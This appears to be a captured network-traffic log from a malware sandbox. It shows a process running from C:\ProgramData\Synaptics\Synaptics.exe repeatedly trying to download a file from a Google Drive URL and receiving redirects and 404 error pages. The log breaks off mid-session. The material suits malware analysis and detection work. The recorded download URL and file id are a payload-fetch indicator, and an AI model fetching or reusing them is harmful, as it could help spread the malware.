2024-08-22 11:10:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-E4Smk87LH6e6S9LJUThseQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	49858	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:57 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:57 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:57 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-pLssw3vZsoj-HWzQKYdDuQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMUGAi0V9YICuy3Mwn5pCeoyQJh9Y-hA-MWh3uCbQSpUWEZl6N4Rtcgfo557sPkuuAajQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:57 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-08-22 11:10:57 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 53 43 6e 6b 65 36 70 73 7a 2d 2d 53 44 53 67 44 44 68 6a 35 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="6SCnke6psz--SDSgDDhj5w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:57 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	49859	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:57 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-61DS6bkBi1kqFlA7kkCp-Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	49860	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:57 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:57 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:57 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-zdaZ-cHjeHlKwmZaFrs4RQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nOeFs_2aGK9kn9FaTXYgh3fYImlCbdXnams8xicN3UTops6Cu33iy0oeq4TAV1NCPC9Rw-2_Fjj8Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:57 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-22 11:10:57 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 4d 62 34 78 64 30 39 4d 50 65 36 78 63 75 4a 79 32 69 55 41 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="EMb4xd09MPe6xcuJy2iUAA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-22 11:10:57 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	49865	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:58 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pDK-5DFjEpXHbLBm1RfW5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	49866	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:58 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:58 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:58 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-_BWmzPACTUzMELl66iMXnA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNfBhRUJlTkfQf8u_rDytshloKuBMbRLX8kvZkYpaTf9kxpdgKgNP31Ik6vmXeTKaCdqsw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:58 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:58 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 70 4c 66 59 6d 46 4a 4d 55 63 49 68 41 36 42 34 61 65 65 45 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="7pLfYmFJMUcIhA6B4aeeEw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:58 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	49867	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:58 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:59 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:58 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-xWMkghkX0OX7yaFpVBdF4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nMGjxHPIyK8Bbep_4hZmqM2Umz7Q834VDkNMoH7LZmvLpnocTeZFwMdlt2HOpHdqHlQi7g Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:59 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:59 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 4d 64 76 2d 65 4d 6b 64 45 4c 37 6a 35 78 4f 63 49 7a 30 6d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="WMdv-eMkdEL7j5xOcIz0mQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:59 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	49864	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:58 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3-FYAWlULI7KVzYULJc00A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	49868	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
